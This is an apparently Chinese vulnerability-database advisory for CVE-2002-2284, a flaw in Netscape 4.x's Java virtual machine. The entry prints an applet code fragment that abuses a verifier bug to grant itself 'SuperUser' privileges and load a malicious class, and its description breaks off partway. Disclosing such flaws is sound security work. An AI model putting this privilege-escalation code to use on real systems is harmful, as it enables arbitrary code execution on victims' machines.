Netscape Java虚拟机不安全调用漏洞 CVE-2002-2284 CNNVD-200212-443

6.4 AV AC AU C I A
发布: 2002-12-31
修订: 2017-07-29

Netscape Communicator/Navigator的JVM实现使用了Symantec Just In Time(JIT)编译器,Java虚拟机在共享动态实现,并默认被Netscape Browser使用。 Netscape 4浏览器Java虚拟机实现由于部分方法被调用的时候不安全,远程攻击者可以利用这个漏洞构建恶意Java Applet,在JVM环境中装载恶意类而可能以高权限执行任意代码。 构建如下applet代码运行在Netscape 4.x web浏览器中可以导致权限提升: PrivilegeManager pm=PrivilegeManager.getPrivilegeManager(); VerifierBug bug=new VerifierBug(); MyPrivilegeManager mpm=bug.cast2MyPrivilegeManager(pm); Target target=Target.findTarget(\"SuperUser\"); Privilege priv=Privilege.findPrivilege(Privilege.ALLOWED,Privilege.FOREVER); PrivilegeTable privtab=new PrivilegeTable(); privtab.put(target,priv); Principal principal=PrivilegeManager.getMyPrincipals()[0]; mpm.itsPrinToPrivTable.put(principal,privtab); try { ClassLoader cl=getClass().getClassLoader(); Class c=cl.loadClass(\"Beyond\"); c.newInstance(); } catch (Throwable e) {} 获得Privilege Manager object引用指针的值并保存在pm变量中,然后可利用Netscape JVM中的一个缺陷结合其他漏洞提升权限。 实际提升权限的攻击在如下代码中: Principal principal=PrivilegeManager.getMyPrincipals()[0];...

0%
暂无可用Exp或PoC
当前有14条受影响产品信息